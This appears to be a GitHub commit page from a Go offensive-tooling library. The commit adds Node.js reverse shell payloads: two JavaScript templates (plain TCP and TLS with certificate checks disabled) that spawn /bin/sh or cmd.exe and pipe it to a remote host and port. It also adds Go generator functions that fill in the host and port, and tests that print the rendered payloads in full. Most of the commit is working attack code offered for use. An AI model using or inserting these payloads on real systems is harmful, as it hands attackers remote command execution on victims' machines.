Skip to content

Commit 9c124d4

Browse files
authored
Add NodeJS reverse shell payloads (#478)
1 parent cd8fffc commit 9c124d4

File tree

5 files changed

+129
-22
lines changed

5 files changed

+129
-22
lines changed

payload/reverse/js.go

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
package reverse
2+
3+
import (
4+
_ "embed"
5+
"fmt"
6+
)
7+
8+
var (
9+
10+
//go:embed nodejs/reverse.js
11+
NodeJS string
12+
//go:embed nodejs/reverse_tls.js
13+
SecureNodeJS string
14+
)
15+
16+
// NodeJS generates a Node compatible reverse shell with OS detection for Windows. It is not minified and utilizes double quotes.
17+
func (js *JavascriptPayload) NodeJS(lhost string, lport int) string {
18+
return fmt.Sprintf(NodeJS, lport, lhost)
19+
}
20+
21+
// SecureNodeJS generates a Node compatible reverse shell with TLS support with OS detection for Windows. It is not minified and utilizes double quotes.
22+
func (js *JavascriptPayload) SecureNodeJS(lhost string, lport int) string {
23+
return fmt.Sprintf(SecureNodeJS, lport, lhost)
24+
}

payload/reverse/nodejs/reverse.js

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
(function(){
2+
var net = require('net'),
3+
cp = require('child_process'),
4+
shell = "/bin/sh";
5+
if(process.platform == "win32") {
6+
shell = "cmd.exe"
7+
};
8+
var sh = cp.spawn(shell, []);
9+
var client = new net.Socket();
10+
client.connect(%d, '%s', function(){
11+
client.pipe(sh.stdin);
12+
sh.stdout.pipe(client);
13+
sh.stderr.pipe(client);
14+
});
15+
return;
16+
})();
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
(function(){
2+
var tls = require('tls'),
3+
cp = require('child_process'),
4+
shell = "/bin/sh";
5+
if(process.platform == "win32") {
6+
shell = "cmd.exe"
7+
};
8+
9+
sh = cp.spawn(shell, []);
10+
var client = new tls.TLSSocket();
11+
options = {rejectUnauthorized: false}
12+
client.connect(%d, '%s', options, function(){
13+
client.pipe(sh.stdin);
14+
sh.stdout.pipe(client);
15+
sh.stderr.pipe(client);
16+
});
17+
return;
18+
})();

payload/reverse/reverse.go

Lines changed: 24 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -27,30 +27,32 @@ type Default interface{}
2727

2828
// Defines the default Bash struct and all associated payload functions.
2929
type (
30-
BashPayload struct{}
31-
GJScriptPayload struct{}
32-
JJSScriptPayload struct{}
33-
JavaPayload struct{}
34-
NetcatPayload struct{}
35-
OpenSSLPayload struct{}
36-
PHPPayload struct{}
37-
PythonPayload struct{}
38-
TelnetPayload struct{}
39-
GroovyPayload struct{}
40-
VBSHTTPPayload struct{}
30+
BashPayload struct{}
31+
GJScriptPayload struct{}
32+
JJSScriptPayload struct{}
33+
JavascriptPayload struct{}
34+
JavaPayload struct{}
35+
NetcatPayload struct{}
36+
OpenSSLPayload struct{}
37+
PHPPayload struct{}
38+
PythonPayload struct{}
39+
TelnetPayload struct{}
40+
GroovyPayload struct{}
41+
VBSHTTPPayload struct{}
4142
)
4243

4344
var (
4445
// Example: makes the Bash payloads accessible via `reverse.Bash`.
45-
Bash = &BashPayload{}
46-
GJScript = &GJScriptPayload{}
47-
JJS = &JJSScriptPayload{}
48-
Java = &JavaPayload{}
49-
Netcat = &NetcatPayload{}
50-
OpenSSL = &OpenSSLPayload{}
51-
PHP = &PHPPayload{}
52-
Python = &PythonPayload{}
53-
Telnet = &TelnetPayload{}
54-
Groovy = &GroovyPayload{}
55-
VBSHTTP = &VBSHTTPPayload{}
46+
Bash = &BashPayload{}
47+
GJScript = &GJScriptPayload{}
48+
JJS = &JJSScriptPayload{}
49+
Java = &JavaPayload{}
50+
Javascript = &JavascriptPayload{}
51+
Netcat = &NetcatPayload{}
52+
OpenSSL = &OpenSSLPayload{}
53+
PHP = &PHPPayload{}
54+
Python = &PythonPayload{}
55+
Telnet = &TelnetPayload{}
56+
Groovy = &GroovyPayload{}
57+
VBSHTTP = &VBSHTTPPayload{}
5658
)

payload/reverse/reverse_test.go

Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -184,6 +184,53 @@ func TestGroovyClassic(t *testing.T) {
184184
}
185185
}
186186

187+
func TestNodeJS(t *testing.T) {
188+
payload := reverse.Javascript.NodeJS("127.0.0.3", 1312)
189+
expected := `(function(){
190+
var net = require('net'),
191+
cp = require('child_process'),
192+
shell = "/bin/sh";
193+
if(process.platform == "win32") {
194+
shell = "cmd.exe"
195+
};
196+
var sh = cp.spawn(shell, []);
197+
var client = new net.Socket();
198+
client.connect(1312, '127.0.0.3', function(){
199+
client.pipe(sh.stdin);
200+
sh.stdout.pipe(client);
201+
sh.stderr.pipe(client);
202+
});
203+
return;
204+
})();`
205+
206+
if payload != expected {
207+
t.Fatal(payload)
208+
}
209+
210+
payload = reverse.Javascript.SecureNodeJS("127.0.0.4", 1312)
211+
expected = `(function(){
212+
var tls = require('tls'),
213+
cp = require('child_process'),
214+
shell = "/bin/sh";
215+
if(process.platform == "win32") {
216+
shell = "cmd.exe"
217+
};
218+
219+
sh = cp.spawn(shell, []);
220+
var client = new tls.TLSSocket();
221+
options = {rejectUnauthorized: false}
222+
client.connect(1312, '127.0.0.4', options, function(){
223+
client.pipe(sh.stdin);
224+
sh.stdout.pipe(client);
225+
sh.stderr.pipe(client);
226+
});
227+
return;
228+
})();`
229+
if payload != expected {
230+
t.Fatal(payload)
231+
}
232+
}
233+
187234
func TestPython312(t *testing.T) {
188235
payload := reverse.Python.SecurePython312("127.0.0.2", 9000)
189236
expected := `import socket

0 commit comments

Comments
 (0)